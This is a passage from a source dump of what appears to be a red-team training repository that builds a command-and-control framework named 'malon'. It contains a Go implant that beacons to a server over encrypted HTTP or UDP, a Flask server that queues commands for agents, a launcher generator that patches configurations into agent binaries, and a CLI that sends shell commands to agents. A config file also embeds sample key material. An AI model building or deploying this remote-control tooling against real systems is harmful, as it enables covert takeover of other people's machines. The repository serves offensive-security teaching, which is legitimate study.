sym.EncryptThenSignMessage([]byte(outgoingMsg), client.key) 21 | if err != nil { 22 | return nil, err 23 | } 24 | incomingMsg, err := client.client.SendMsg(outgoingMsg) 25 | if err != nil { 26 | return nil, err 27 | } 28 | incomingMsg, err = sym.ValidateThenDecryptMessage(incomingMsg, client.key) 29 | if err != nil { 30 | return nil, err 31 | } 32 | return incomingMsg, nil 33 | } 34 | -------------------------------------------------------------------------------- /agent/comm/udp.go: -------------------------------------------------------------------------------- 1 | package comm 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | ) 8 | 9 | type UdpClient struct { 10 | conn net.Conn 11 | } 12 | 13 | func NewUdpClient(targetHost string, targetPort int) (*UdpClient, error) { 14 | conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", targetHost, targetPort)) 15 | if err != nil { 16 | return nil, err 17 | } 18 | return &UdpClient{ 19 | conn: conn, 20 | }, nil 21 | } 22 | 23 | const NUMERO_TOTALMENTE_ARBITRARIO = 2048 24 | 25 | func (client *UdpClient) SendMsg(outgoingMsg []byte) ([]byte, error) { 26 | bytes_written, err := client.conn.Write(outgoingMsg) 27 | if err != nil { 28 | return nil, err 29 | } 30 | if bytes_written < len(outgoingMsg) { 31 | return nil, fmt.Errorf("error writing to UDP socket") 32 | } 33 | 34 | buffer := make([]byte, NUMERO_TOTALMENTE_ARBITRARIO) 35 | bytes_read, err := bufio.NewReader(client.conn).Read(buffer) 36 | if err != nil { 37 | return nil, err 38 | } 39 | return buffer[:bytes_read], nil 40 | } 41 | -------------------------------------------------------------------------------- /agent/config.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | _ "embed" 5 | "encoding/json" 6 | "os" 7 | ) 8 | 9 | type Config struct { 10 | PrivateKey []byte `json:"PrivateKey"` 11 | SymKey []byte `json:"SymKey"` 12 | Type string `json:"Type"` 13 | Host string `json:"Host"` 14 | Port int `json:"Port"` 15 | IntervalMs int `json:"IntervalMs"` 16 | } 17 | 18 | func LoadConfig(file string) (*Config, error) { 19 | var config Config 20 | jsonFile, err := os.Open(file) 21 | if err != nil { 22 | return nil, err 23 | } 24 | 25 | err = json.NewDecoder(jsonFile).Decode(&config) 26 | if err != nil { 27 | return nil, err 28 | } 29 | 30 | return &config, nil 31 | } 32 | 33 | func LoadConfigBytes(configBytes []byte) (*Config, error) { 34 | var config Config 35 | err := json.Unmarshal(configBytes, &config) 36 | if err != nil { 37 | return nil, err 38 | } 39 | 40 | return &config, nil 41 | } 42 | 43 | func LoadEmbeddedConfig() (*Config, error) { 44 | return LoadConfigBytes(configBytes) 45 | } 46 | -------------------------------------------------------------------------------- /agent/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "Type": "http", 3 | "Host": "localhost", 4 | "Port": 8080, 5 | "IntervalMs": 1000, 6 | "SymKey": "c29tZSByYW5kb20ga2V5IQ==", 7 | "PrivateKey": "MHcCAQEEIJMEryLZTSdAbPIB6O97EfJiFk9hB4vHlxTA7owhZMYooAoGCCqGSM49AwEHoUQDQgAEeRmw2DbQa4WbcEm8GIjDyOqQQrgpoDdOJGh+FpZTf9QLpq4TqsgVcEHWTVo3Fs1X0vfuCyK887t+sDCMpYxMxw==" 8 | } -------------------------------------------------------------------------------- /agent/config_default.go: -------------------------------------------------------------------------------- 1 | //go:build default_config 2 | 3 | package main 4 | 5 | import _ "embed" 6 | 7 | //go:embed config.json 8 | var configBytes []byte 9 | -------------------------------------------------------------------------------- /agent/config_placeholder.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/agent/config_placeholder.bin -------------------------------------------------------------------------------- /agent/config_placeholder.go: -------------------------------------------------------------------------------- 1 | //go:build !default_config 2 | 3 | package main 4 | 5 | import _ "embed" 6 | 7 | //go:embed config_placeholder.bin 8 | var configBytes []byte 9 | -------------------------------------------------------------------------------- /agent/cryptoutil/dh/main.go: -------------------------------------------------------------------------------- 1 | package dh 2 | 3 | import ( 4 | "crypto/ecdsa" 5 | "crypto/elliptic" 6 | "crypto/rand" 7 | "crypto/sha256" 8 | "crypto/x509" 9 | "fmt" 10 | ) 11 | 12 | type KeyExchange struct { 13 | PrivateKey *ecdsa.PrivateKey 14 | } 15 | 16 | func NewKeyExchange(privateKeyBytes []byte) (*KeyExchange, error) { 17 | var privateKey *ecdsa.PrivateKey 18 | var err error 19 | if privateKeyBytes == nil { 20 | privateKey, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader) 21 | } else { 22 | privateKey, err = x509.ParseECPrivateKey(privateKeyBytes) 23 | } 24 | 25 | if err != nil { 26 | return nil, err 27 | } 28 | 29 | return &KeyExchange{ 30 | PrivateKey: privateKey, 31 | }, nil 32 | } 33 | 34 | func (ke *KeyExchange) GetSharedKey(publicKeyBytes []byte) ([]byte, error) { 35 | publicKey, err := x509.ParsePKIXPublicKey(publicKeyBytes) 36 | if err != nil { 37 | return nil, err 38 | } 39 | ecdsaPublicKey := publicKey.(*ecdsa.PublicKey) 40 | x, _ := ecdsaPublicKey.Curve.ScalarMult(ecdsaPublicKey.X, ecdsaPublicKey.Y, ke.PrivateKey.D.Bytes()) 41 | return x.Bytes(), nil 42 | } 43 | 44 | func (ke *KeyExchange) GetPublicKey() []byte { 45 | bytes, err := x509.MarshalPKIXPublicKey(&ke.PrivateKey.PublicKey) 46 | if err != nil { 47 | fmt.Println(err) 48 | } 49 | return bytes 50 | } 51 | 52 | func (ke *KeyExchange) GetPrivateKey() []byte { 53 | keyBytes, _ := x509.MarshalECPrivateKey(ke.PrivateKey) 54 | return keyBytes 55 | } 56 | 57 | func GetClientID(publicKey []byte) []byte { 58 | h := sha256.New() 59 | h.Write(publicKey) 60 | return h.Sum(nil)[:16] 61 | } 62 | -------------------------------------------------------------------------------- /agent/cryptoutil/sym/main.go: -------------------------------------------------------------------------------- 1 | package sym 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/hmac" 7 | "crypto/rand" 8 | "crypto/sha1" 9 | "fmt" 10 | "io" 11 | ) 12 | 13 | func DecryptMessage(message []byte, key []byte) ([]byte, error) { 14 | block, err := aes.NewCipher(key) 15 | if err != nil { 16 | return nil, err 17 | } 18 | iv := message[:aes.BlockSize] 19 | data := message[aes.BlockSize:] 20 | stream := cipher.NewOFB(block, iv) 21 | stream.XORKeyStream(data, data) 22 | return data, nil 23 | } 24 | 25 | func EncryptMessage(message []byte, key []byte) ([]byte, error) { 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | encrypted := make([]byte, aes.BlockSize+len(message)) 32 | iv := encrypted[:aes.BlockSize] 33 | if _, err := io.ReadFull(rand.Reader, iv); err != nil { 34 | return nil, err 35 | } 36 | 37 | data := encrypted[aes.BlockSize:] 38 | stream := cipher.NewOFB(block, iv) 39 | stream.XORKeyStream(data, message) 40 | return encrypted, nil 41 | } 42 | 43 | func SignMessage(message []byte, key []byte) []byte { 44 | mac := hmac.New(sha1.New, key) 45 | mac.Write(message) 46 | signed := make([]byte, len(message)+mac.Size()) 47 | copy(signed[:mac.Size()], mac.Sum((nil))) 48 | copy(signed[mac.Size():], message) 49 | return signed 50 | } 51 | 52 | func ValidateMessage(message []byte, key []byte) ([]byte, bool) { 53 | mac := hmac.New(sha1.New, key) 54 | mac.Write(message[mac.Size():]) 55 | expectedMAC := mac.Sum(nil) 56 | return message[mac.Size():], hmac.Equal(message[:mac.Size()], expectedMAC) 57 | } 58 | 59 | func EncryptThenSignMessage(message []byte, key []byte) ([]byte, error) { 60 | encrypted, err := EncryptMessage(message, key) 61 | if err != nil { 62 | return nil, err 63 | } 64 | 65 | return SignMessage(encrypted, key), nil 66 | } 67 | 68 | func ValidateThenDecryptMessage(signedMessage []byte, key []byte) ([]byte, error) { 69 | message, valid := ValidateMessage(signedMessage, key) 70 | if !valid { 71 | return nil, fmt.Errorf("invalid message") 72 | } 73 | decrypted, err := DecryptMessage(message, key) 74 | if err != nil { 75 | return nil, err 76 | } 77 | return decrypted, nil 78 | } 79 | -------------------------------------------------------------------------------- /agent/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "time" 7 | 8 | "./app" 9 | ) 10 | 11 | func main() { 12 | config, err := LoadEmbeddedConfig() 13 | // config, err := LoadConfig("config.json") 14 | if err != nil { 15 | fmt.Printf("Error reading config file: %s\n", err) 16 | return 17 | } 18 | 19 | config_json, _ := json.Marshal(&config) 20 | fmt.Printf("Loaded config:\n%s\n", config_json) 21 | 22 | client, err := CreateClient(config) 23 | if err != nil { 24 | fmt.Printf("Error creating client: %s\n", err) 25 | return 26 | } 27 | 28 | agent := app.NewAgent(client) 29 | 30 | for { 31 | err := agent.Heartbeat() 32 | if err != nil { 33 | fmt.Printf("Error: %s\n", err) 34 | } 35 | time.Sleep(time.Duration(config.IntervalMs) * time.Millisecond) 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /agent/types.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | 7 | "./comm" 8 | "./cryptoutil/dh" 9 | ) 10 | 11 | func createKeyExchange(config *Config) (*dh.KeyExchange, error) { 12 | keyExchange, err := dh.NewKeyExchange(config.PrivateKey) 13 | if err != nil { 14 | return nil, err 15 | } 16 | 17 | clientID := dh.GetClientID(keyExchange.GetPublicKey()) 18 | fmt.Printf("Client ID: %s\n", hex.EncodeToString(clientID)) 19 | return keyExchange, nil 20 | } 21 | 22 | func CreateHttpClient(config *Config) (comm.Client, error) { 23 | keyExchange, err := createKeyExchange(config) 24 | if err != nil { 25 | return nil, err 26 | } 27 | 28 | httpClient := comm.NewHttpClient(fmt.Sprintf("http://%s:%d", config.Host, config.Port)) 29 | encHttpClient := comm.NewEncryptedClient(httpClient, config.SymKey) 30 | dhClient := comm.NewDHClient(keyExchange, encHttpClient) 31 | 32 | return dhClient, nil 33 | } 34 | 35 | func CreateUnencryptedHttpClient(config *Config) (comm.Client, error) { 36 | keyExchange, err := createKeyExchange(config) 37 | if err != nil { 38 | return nil, err 39 | } 40 | 41 | httpClient := comm.NewHttpClient(fmt.Sprintf("http://%s:%d", config.Host, config.Port)) 42 | clientID := dh.GetClientID(keyExchange.GetPublicKey()) 43 | dummyAuthClient := comm.NewDummyAuthClient(clientID, httpClient) 44 | 45 | return dummyAuthClient, nil 46 | } 47 | 48 | func CreateUdpClient(config *Config) (comm.Client, error) { 49 | keyExchange, err := createKeyExchange(config) 50 | if err != nil { 51 | return nil, err 52 | } 53 | 54 | udpClient, err := comm.NewUdpClient(config.Host, config.Port) 55 | if err != nil { 56 | return nil, err 57 | } 58 | 59 | encUdpClient := comm.NewEncryptedClient(udpClient, config.SymKey) 60 | dhClient := comm.NewDHClient(keyExchange, encUdpClient) 61 | 62 | return dhClient, nil 63 | } 64 | 65 | func CreateUnencryptedUdpClient(config *Config) (comm.Client, error) { 66 | keyExchange, err := createKeyExchange(config) 67 | if err != nil { 68 | return nil, err 69 | } 70 | 71 | udpClient, err := comm.NewUdpClient(config.Host, config.Port) 72 | if err != nil { 73 | return nil, err 74 | } 75 | 76 | clientID := dh.GetClientID(keyExchange.GetPublicKey()) 77 | return comm.NewDummyAuthClient(clientID, udpClient), nil 78 | } 79 | 80 | func CreateClient(config *Config) (comm.Client, error) { 81 | switch config.Type { 82 | case "http": 83 | return CreateHttpClient(config) 84 | case "unenc-http": 85 | return CreateUnencryptedHttpClient(config) 86 | case "udp": 87 | return CreateUdpClient(config) 88 | case "unenc-udp": 89 | return CreateUnencryptedUdpClient(config) 90 | default: 91 | return nil, fmt.Errorf("unknown client type") 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /cli/cli.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import sys 4 | from base64 import b64decode 5 | import shlex 6 | 7 | if len(sys.argv) < 3: 8 | print('Usage: {} BASE_URL AGENT_ID'.format(sys.argv[0])) 9 | exit(0) 10 | 11 | base_url, agent_id = sys.argv[1:] 12 | 13 | while True: 14 | command = input(">") 15 | command_args = shlex.split(command) 16 | print('command_args: ', command_args) 17 | 18 | response = requests.post( 19 | "{}/agents/{}/tasks/".format(base_url, agent_id), 20 | json={ 21 | 'type': 'command', 22 | 'info': { 23 | 'args': command_args, 24 | 'timeout_ms': 5000 25 | } 26 | } 27 | ) 28 | task_d = response.json() 29 | task_id = task_d['id'] 30 | while True: 31 | response = requests.get( 32 | "{}/agents/{}/tasks/{}/result".format(base_url, agent_id, task_id), 33 | ) 34 | task_result_list = response.json() 35 | for task_result in task_result_list: 36 | output_encoded = task_result.get('output') 37 | if output_encoded is not None: 38 | sys.stdout.write(b64decode(output_encoded).decode('utf-8')) 39 | 40 | if len(task_result_list) > 0: 41 | break 42 | else: 43 | time.sleep(1.0) 44 | -------------------------------------------------------------------------------- /cli/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | -------------------------------------------------------------------------------- /malon_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_logo.png -------------------------------------------------------------------------------- /malon_lp/malon_lp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/malon_lp/__init__.py -------------------------------------------------------------------------------- /malon_lp/malon_lp/__main__.py: -------------------------------------------------------------------------------- 1 | from .admin import app 2 | 3 | app.run() -------------------------------------------------------------------------------- /malon_lp/malon_lp/admin/__init__.py: -------------------------------------------------------------------------------- 1 | import io 2 | from base64 import b64decode 3 | from datetime import datetime 4 | from sqlalchemy import asc 5 | 6 | from . import json_encoder 7 | from .render_launcher import render_launcher 8 | from flask import Flask, jsonify, request, abort, send_file 9 | from ..database import db_session, db_init 10 | from ..database.models import Agent, Task, TaskResult, Listener 11 | from .listener_manager import ListenerManager 12 | 13 | listener_manager = ListenerManager() 14 | 15 | app = Flask(__name__) 16 | 17 | app.json_encoder = json_encoder.SQLAlchemyEncoder 18 | 19 | db_init() 20 | 21 | for listener in Listener.query.all(): 22 | listener_manager.create_listener(listener) 23 | 24 | @app.route("/listeners/", methods=['GET']) 25 | def listeners(): 26 | return jsonify(Listener.query.all()) 27 | 28 | @app.route("/listeners/", methods=['POST']) 29 | def listeners_post(): 30 | listener_d = request.json 31 | sym_key = b64decode(listener_d['sym_key']) 32 | listener = Listener( 33 | type=listener_d.get('type'), 34 | bind_host=listener_d.get('bind_host'), 35 | bind_port=listener_d.get('bind_port'), 36 | target_host=listener_d.get('target_host'), 37 | target_port=listener_d.get('target_port'), 38 | connection_interval_ms=listener_d.get('connection_interval_ms'), 39 | sym_key=sym_key 40 | ) 41 | db_session.add(listener) 42 | db_session.commit() 43 | listener_manager.create_listener(listener) 44 | return jsonify(listener) 45 | 46 | @app.route("/listeners/", methods=['GET']) 47 | def listener(id: int): 48 | listener = Listener.query.get(id) 49 | return jsonify(listener) if listener is not None else abort(404) 50 | 51 | @app.route("/listeners/", methods=['DELETE']) 52 | def listener_delete(id: int): 53 | listener_manager.delete_listener(id) 54 | Listener.query.filter_by(id=id).delete() 55 | db_session.commit() 56 | return jsonify({'success': True}) 57 | 58 | @app.route("/listeners//launcher/", methods=['GET']) 59 | def listener_launcher(id: int, platform: str): 60 | listener = Listener.query.get(id) 61 | if listener is None: return abort(404) 62 | launcher_bytes = render_launcher(listener, platform) 63 | return send_file( 64 | io.BytesIO(launcher_bytes), 65 | mimetype='application/octet-stream', 66 | as_attachment=True, 67 | attachment_filename='launcher-{}'.format(platform) 68 | ) 69 | 70 | 71 | @app.route("/agents/", methods=['GET']) 72 | def agents(): 73 | return jsonify(Agent.query.all()) 74 | 75 | @app.route("/agents//report", methods=['POST']) 76 | def agents_ping(id: str): 77 | agent = Agent.query.get(id) 78 | report_d = request.json 79 | 80 | if agent is None: 81 | print('New agent reported in: {}'.format(id)) 82 | agent = Agent(id=id) 83 | 84 | agent.listener_id = report_d['listener_id'] 85 | agent.last_seen_at = datetime.now() 86 | 87 | db_session.add(agent) 88 | db_session.commit() 89 | 90 | return jsonify(agent) 91 | 92 | @app.route("/agents/", methods=['GET']) 93 | def agent(id: str): 94 | agent = Agent.query.get(id) 95 | return jsonify(agent) if agent is not None else abort(404) 96 | 97 | @app.route("/agents//tasks/", methods=['GET']) 98 | def agent_tasks(agent_id: str): 99 | tasks = Task.query.filter_by(agent_id=agent_id).all() 100 | return jsonify(tasks) 101 | 102 | @app.route("/agents//tasks/unread/", methods=['GET']) 103 | def agent_tasks_unread(agent_id: str): 104 | agent = Agent.query.get(agent_id) 105 | tasks = Task.query \ 106 | .filter_by(agent_id=agent_id) \ 107 | .filter(Task.id > agent.last_task_id) \ 108 | .order_by(asc(Task.id)) \ 109 | .all() 110 | 111 | if len(tasks) > 0: 112 | agent.last_task_id = tasks[-1].id 113 | db_session.add(agent) 114 | db_session.commit() 115 | 116 | return jsonify(tasks) 117 | 118 | @app.route("/agents//tasks/", methods=['POST']) 119 | def agent_tasks_post(agent_id: str): 120 | task_d = request.json 121 | input_encoded = task_d.get('input') 122 | task = Task( 123 | agent_id=agent_id, 124 | type=task_d.get('type'), 125 | info=task_d.get('info'), 126 | input=b64decode(input_encoded) if input_encoded is not None else None 127 | ) 128 | db_session.add(task) 129 | db_session.commit() 130 | return jsonify(task) 131 | 132 | @app.route("/agents//tasks//result", methods=['GET']) 133 | def agent_task_result(agent_id: str, task_id: int): 134 | task_result = TaskResult.query.filter_by(task_id=task_id).all() 135 | return jsonify(task_result) 136 | 137 | @app.route("/agents//tasks//output", methods=['GET']) 138 | def agent_task_result_output(agent_id: str, task_id: int): 139 | task_result = TaskResult.query.filter_by(task_id=task_id).first() 140 | return send_file( 141 | io.BytesIO(task_result.output), 142 | mimetype='application/octet-stream', 143 | as_attachment=True, 144 | attachment_filename='task-{}-output'.format(task_result.task_id) 145 | ) 146 | 147 | @app.route("/agents//tasks//result", methods=['POST']) 148 | def agent_task_result_post(agent_id: str, task_id: int): 149 | task_result_d = request.json 150 | output_encoded = task_result_d.get('output') 151 | task_result = TaskResult( 152 | task_id=task_id, 153 | info=task_result_d.get('info'), 154 | output=b64decode(output_encoded) if output_encoded is not None else None 155 | ) 156 | db_session.add(task_result) 157 | db_session.commit() 158 | return jsonify(task_result) 159 | 160 | @app.teardown_appcontext 161 | def shutdown_session(exception=None): 162 | db_session.remove() -------------------------------------------------------------------------------- /malon_lp/malon_lp/admin/__main__.py: -------------------------------------------------------------------------------- 1 | from . import app 2 | 3 | app.run() -------------------------------------------------------------------------------- /malon_lp/malon_lp/admin/json_encoder.py: -------------------------------------------------------------------------------- 1 | import json 2 | from datetime import datetime 3 | from base64 import b64encode 4 | from sqlalchemy.ext.declarative import DeclarativeMeta 5 | 6 | 7 | def to_camel_case(s: str) -> str: 8 | return ''.join(map(str.capitalize, s.split('_'))) 9 | 10 | 11 | class BaseEncoder(json.JSONEncoder): 12 | def default(self, obj): 13 | if type(obj) == datetime: 14 | return obj.isoformat() 15 | elif type(obj) == bytes: 16 | return b64encode(obj).decode('utf-8') 17 | else: 18 | return super().default(obj) 19 | 20 | 21 | class SQLAlchemyEncoder(BaseEncoder): 22 | def default(self, obj): 23 | if isinstance(obj.__class__, DeclarativeMeta): 24 | fields = {} 25 | for column in obj.__class__.__table__.columns: 26 | data = obj.__getattribute__(column.name) 27 | field = column.name 28 | try: 29 | json.dumps(data, cls=SQLAlchemyEncoder) 30 | fields[field] = data 31 | except TypeError: 32 | fields[field] = None 33 | 34 | return fields 35 | else: 36 | return super().default(obj) 37 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/admin/listener_manager.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from ..database.models import Listener as ListenerModel 4 | from ..listener import Listener, get_listener_types 5 | from typing import Dict, List 6 | from multiprocessing import Process 7 | 8 | def run_listener(listener: Listener): 9 | # sys.stdout = open(os.devnull, 'w') 10 | # sys.stderr = open(os.devnull, 'w') 11 | listener.run() 12 | 13 | class ListenerManager: 14 | def __init__(self): 15 | self.listener_processes: Dict[int, Process] = {} 16 | 17 | def _create_listener(self, listener_model: ListenerModel) -> Listener: 18 | listener_class = get_listener_types()[listener_model.type] 19 | return listener_class.new( 20 | 'http://127.0.0.1:5000', 21 | listener_model.id, 22 | listener_model.bind_host, 23 | listener_model.bind_port, 24 | listener_model.sym_key 25 | ) 26 | 27 | def create_listener(self, listener_model: ListenerModel): 28 | self.delete_listener(listener_model.id) 29 | process = Process( 30 | target=run_listener, 31 | args=[self._create_listener(listener_model)], 32 | daemon=True 33 | ) 34 | process.start() 35 | self.listener_processes[listener_model.id] = process 36 | 37 | def delete_listener(self, listener_id: int): 38 | process = self.listener_processes.get(listener_id) 39 | if process is not None: 40 | process.terminate() 41 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/admin/render_launcher.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | from base64 import b64encode 4 | from malon_lp.database.models import Listener 5 | from malon_lp.crypto.dh import KeyExchange 6 | 7 | def create_config(listener: Listener) -> dict: 8 | return { 9 | 'Type': listener.type, 10 | 'Host': listener.target_host, 11 | 'Port': listener.target_port, 12 | 'IntervalMs': listener.connection_interval_ms, 13 | 'SymKey': b64encode(listener.sym_key).decode('utf-8'), 14 | 'PrivateKey': b64encode(KeyExchange().get_private_key()).decode('utf-8') 15 | } 16 | 17 | def render_launcher(listener: Listener, platform: str) -> bytes: 18 | render_dir = 'render_launcher' 19 | with open(os.path.join(render_dir, platform), 'rb') as f: 20 | agent_template_bytes = f.read() 21 | 22 | with open(os.path.join(render_dir, 'config_placeholder.bin'), 'rb') as f: 23 | placeholder_bytes = f.read() 24 | 25 | config_bytes = json.dumps(create_config(listener)).encode('utf-8') 26 | 27 | return agent_template_bytes.replace( 28 | placeholder_bytes, 29 | config_bytes.ljust(len(placeholder_bytes), b' ') 30 | ) 31 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/malon_lp/crypto/__init__.py -------------------------------------------------------------------------------- /malon_lp/malon_lp/crypto/dh.py: -------------------------------------------------------------------------------- 1 | 2 | from typing import Optional 3 | from hashlib import sha256 4 | from ecdsa import ECDH, NIST256p, SigningKey, VerifyingKey 5 | 6 | class KeyExchange: 7 | def __init__(self, private_key_der: Optional[bytes] = None): 8 | """ 9 | Puede recibir una clave privada como input. 10 | En caso de no recibir una, la genera utilizando la 11 | SigningKey y curva NIST256p. 12 | """ 13 | if private_key_der is not None: 14 | self.private_key = SigningKey.from_der(private_key_der) 15 | else: 16 | self.private_key = SigningKey.generate(curve=NIST256p) 17 | 18 | def get_shared_key(self, public_key_der: bytes) -> bytes: 19 | """ 20 | Utilizacion de ECDH para fabricar la clave compartida. 21 | """ 22 | return ECDH( 23 | curve=NIST256p, 24 | private_key=self.private_key, 25 | public_key=VerifyingKey.from_der(public_key_der) 26 | ).generate_sharedsecret_bytes() 27 | 28 | def get_public_key(self) -> bytes: 29 | """ 30 | Devuelva la clave publica del keyExchange en el format "der" 31 | """ 32 | public_key: VerifyingKey = self.private_key.get_verifying_key() 33 | return public_key.to_der() 34 | 35 | def get_private_key(self) -> bytes: 36 | """ 37 | Devuelva la clave privada del keyExchange en el format "der" 38 | """ 39 | return self.private_key.to_der() 40 | 41 | def get_client_id(public_key_der: bytes) -> bytes: 42 | """ 43 | Obtener un valor representativo y unico a partir de los bytes 44 | """ 45 | return sha256(public_key_der).digest()[:16] 46 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/crypto/sym.py: -------------------------------------------------------------------------------- 1 | from typing import Optional 2 | import hmac 3 | from Crypto.Cipher import AES 4 | from Crypto.Random import get_random_bytes 5 | 6 | 7 | class SymmetricCipher: 8 | def __init__(self, key: bytes) -> bytes: 9 | self._key = key 10 | 11 | def encrypt_msg(self, msg: bytes) -> bytes: 12 | """ 13 | Cifra el mensaje en formato bytes 14 | """ 15 | iv = get_random_bytes(AES.block_size) 16 | cipher = AES.new(self._key, AES.MODE_OFB, iv) 17 | padded_msg = msg.ljust(len(msg) + ((-len(msg)) % AES.block_size), b'\x00') 18 | return iv + cipher.encrypt(padded_msg)[:len(msg)] 19 | 20 | def decrypt_msg(self, msg: bytes) -> bytes: 21 | """ 22 | Descifra el mensaje en formato bytes 23 | """ 24 | iv, msg = msg[:AES.block_size], msg[AES.block_size:] 25 | cipher = AES.new(self._key, AES.MODE_OFB, iv) 26 | padded_msg = msg.ljust(len(msg) + ((-len(msg)) % AES.block_size), b'\x00') 27 | return cipher.decrypt(padded_msg)[:len(msg)] 28 | 29 | def sign_msg(self, msg: bytes) -> bytes: 30 | """ 31 | Firma el mensaje en formato bytes 32 | """ 33 | return hmac.digest(self._key, msg, 'sha1') + msg 34 | 35 | def verify_msg(self, msg: bytes) -> Optional[bytes]: 36 | """ 37 | Verifica la firma de un mensaje 38 | """ 39 | sig, msg = msg[:20], msg[20:] 40 | verify_sig = hmac.digest(self._key, msg, 'sha1') 41 | if hmac.compare_digest(sig, verify_sig): 42 | return msg 43 | else: 44 | return None 45 | 46 | def encrypt_sign_msg(self, msg: bytes) -> bytes: 47 | """ 48 | Cifra y firma un mensaje 49 | """ 50 | return self.sign_msg(self.encrypt_msg(msg)) 51 | 52 | def verify_decrypt_msg(self, msg: bytes) -> Optional[bytes]: 53 | """ 54 | Verifica la firma y luego decifra el mensaje. En caso de no poder verificar la firma devuelve None 55 | """ 56 | verified_msg = self.verify_msg(msg) 57 | if verified_msg is not None: 58 | return self.decrypt_msg(verified_msg) 59 | else: 60 | return None 61 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/database/__init__.py: -------------------------------------------------------------------------------- 1 | from sqlalchemy import create_engine 2 | from sqlalchemy.orm import scoped_session, sessionmaker 3 | from .models import Base 4 | 5 | engine = create_engine('sqlite:///malon.db') 6 | db_session = scoped_session(sessionmaker(autocommit=False, 7 | autoflush=False, 8 | bind=engine)) 9 | Base.query = db_session.query_property() 10 | 11 | def db_init(): 12 | Base.metadata.create_all(bind=engine) -------------------------------------------------------------------------------- /malon_lp/malon_lp/database/models.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | 3 | from sqlalchemy import ForeignKey, Column, text 4 | from sqlalchemy.orm import declarative_base, relationship, validates 5 | from sqlalchemy.types import DateTime, String, Integer, JSON, BLOB 6 | 7 | Base = declarative_base() 8 | 9 | class Agent(Base): 10 | __tablename__ = 'agents' 11 | id = Column(String, primary_key=True) 12 | created_at = Column(DateTime, nullable=False, default=datetime.now) 13 | listener_id = Column(Integer, ForeignKey('listeners.id')) 14 | last_seen_at = Column(DateTime, nullable=False, default=datetime.now) 15 | last_task_id = Column(Integer, nullable=False, default=0) 16 | tasks = relationship('Task', back_populates='agent') 17 | listener = relationship('Listener', back_populates='agents') 18 | 19 | class Task(Base): 20 | __tablename__ = 'tasks' 21 | id = Column(Integer, primary_key=True, autoincrement=True) 22 | created_at = Column(DateTime, nullable=False, default=datetime.now) 23 | agent_id = Column(String, ForeignKey('agents.id')) 24 | agent = relationship('Agent', back_populates='tasks') 25 | type = Column(String, nullable=False) 26 | info = Column(JSON) 27 | input = Column(BLOB) 28 | result = relationship('TaskResult', back_populates='task') 29 | 30 | class TaskResult(Base): 31 | __tablename__ = 'task_results' 32 | task_id = Column(Integer, ForeignKey('tasks.id'), primary_key=True) 33 | created_at = Column(DateTime, nullable=False, default=datetime.now) 34 | task = relationship('Task', back_populates='result') 35 | info = Column(JSON) 36 | output = Column(BLOB) 37 | 38 | class Listener(Base): 39 | __tablename__ = 'listeners' 40 | id = Column(Integer, primary_key=True, autoincrement=True) 41 | created_at = Column(DateTime, nullable=False, default=datetime.now) 42 | type = Column(String, nullable=False) 43 | bind_host = Column(String, nullable=False, default="0.0.0.0") 44 | bind_port = Column(Integer, nullable=False, unique=True) 45 | target_host = Column(String, nullable=False) 46 | target_port = Column(Integer, nullable=False) 47 | connection_interval_ms = Column(Integer, nullable=False, default=1000) 48 | sym_key = Column(BLOB, nullable=False) 49 | agents = relationship('Agent', back_populates='listener') 50 | 51 | @validates('sym_key') 52 | def validate_sym_key(self, _, sym_key): 53 | assert len(sym_key) == 16 54 | return sym_key 55 | -------------------------------------------------------------------------------- /malon_lp/malon_lp/listener/__init__.py: -------------------------------------------------------------------------------- 1 | from typing import Mapping 2 | from abc import ABC, abstractmethod 3 | import pkgutil 4 | import os 5 | 6 | 7 | def _load_submodules(): 8 | paths = [os.path.join(path, 'listener') for path in __path__] 9 | for loader, module_name, is_pkg in pkgutil.walk_packages(paths): 10 | _module = loader.find_module(module_name).load_module(module_name) 11 | 12 | class Listener(ABC): 13 | @classmethod 14 | @abstractmethod 15 | def new(cls, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes) -> 'Listener': 16 | """ 17 | Factory 18 | """ 19 | pass 20 | 21 | @classmethod 22 | @abstractmethod 23 | def type_name(cls) -> str: 24 | """ 25 | Devuelve un valor caracteristico de tipo String para identificar 26 | las caracteristicas del listener 27 | """ 28 | pass 29 | 30 | @abstractmethod 31 | def run(self): 32 | """ 33 | Ejecuta el Listener 34 | """ 35 | pass 36 | 37 | def get_listener_types() -> Mapping[str, type]: 38 | return { 39 | listener_type.type_name(): listener_type 40 | for listener_type in Listener.__subclasses__() 41 | } 42 | 43 | _load_submodules() 44 | 